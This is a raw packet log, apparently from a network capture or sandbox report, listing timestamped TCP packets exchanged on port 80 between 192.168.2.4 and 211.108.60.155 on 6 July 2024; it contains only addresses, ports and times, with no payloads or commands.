Jul 6, 2024 14:10:08.018451929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018486023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018492937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018523932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018583059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018620014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018635988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018645048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018654108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018671036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018682003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018857002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018888950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018893957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018899918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018924952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018934965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019040108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019074917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019097090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019129038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019165039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019191980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019202948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019217968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019546986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019556999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019567013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019578934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019589901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019608974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019612074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019620895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019644022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019656897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019736052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019773006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019815922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019826889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.019849062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.019866943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208575010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208640099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208643913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208653927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208664894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208681107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208702087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208777905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208798885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208815098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208837986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208869934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208904028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.208909988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.208944082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209022045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209059000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209083080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209091902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209105968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209115982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209129095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209152937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209265947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209275007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209312916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209381104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209415913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209430933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209464073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209542036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209551096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209585905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209585905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209594965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209618092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209629059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209698915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209707975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209738970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209749937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209808111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.209846020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.209999084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210007906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210017920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210042953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210052967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210104942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210113049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210141897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210222960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210264921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210324049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210333109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210341930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210357904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210374117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210439920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210478067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210494041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210527897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210613012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210622072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210656881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210715055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210724115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210772038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210782051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210824966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210834980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210863113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210877895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210906982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210916996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.210943937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.210953951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211111069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211148977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211299896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211314917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211324930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211340904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211359024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211400986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211435080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211484909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211494923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211504936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211522102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211534023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211654902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211694002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211729050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211736917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211746931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211762905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211781979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211905956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211946964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.211981058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211991072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.211999893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212014914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212030888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212147951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212168932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212193012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212210894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212268114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212285042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212306023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212320089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212379932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212416887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212423086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212447882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212505102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212513924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212546110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212555885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212631941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212645054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212671041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212694883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212733030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212771893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212836981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212872028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.212922096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.212959051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213001013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213010073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213018894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213037968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213048935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213130951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213140011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213169098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213191032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213198900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213207960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213231087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213239908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213408947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213418007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213448048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213458061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213479042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213489056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213516951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213582993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213592052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213632107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213762045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213771105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213804007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213815928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.213871956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213882923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.213912010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403394938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403420925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403439045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403448105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403460979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403496981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403558016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403568029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403599024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403717995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403755903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403817892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403826952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403836012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403855085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403871059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403886080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403913975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.403927088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.403950930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404052019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404071093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404088974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404103994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404196978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404233932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404233932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404261112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404268980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404269934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404300928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404313087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404373884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404407978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404504061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404511929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404521942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404539108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404555082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404652119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404689074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404894114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404902935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404931068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.404937029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.404967070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405025959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405061007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405114889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405123949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405138016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405152082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405174971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405226946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405261993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405364037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405373096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405378103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405522108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405550957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405566931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405589104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405599117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405627966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405636072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405644894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405669928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405694008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405765057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405807972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405811071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405846119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405900955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405929089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.405936003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.405968904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406014919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406023979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406059980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406131029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406172991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406243086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406250954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406265974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406282902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406300068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406443119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406481981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406580925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406590939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406599998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406626940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406651020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.406944990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406954050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406964064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406974077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.406999111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407017946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407052994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407205105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407241106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407279968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407289982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407313108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407321930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407331944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407342911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407349110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407356024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407366991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407382965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407407999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407480955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407490969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407516956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407526970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407615900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407651901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407717943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407727003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407736063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407752037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407772064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407823086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407833099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407860041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407886028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.407968044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.407977104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408004999 CEST	49732	80	192.168.2.4	211.108.60.155
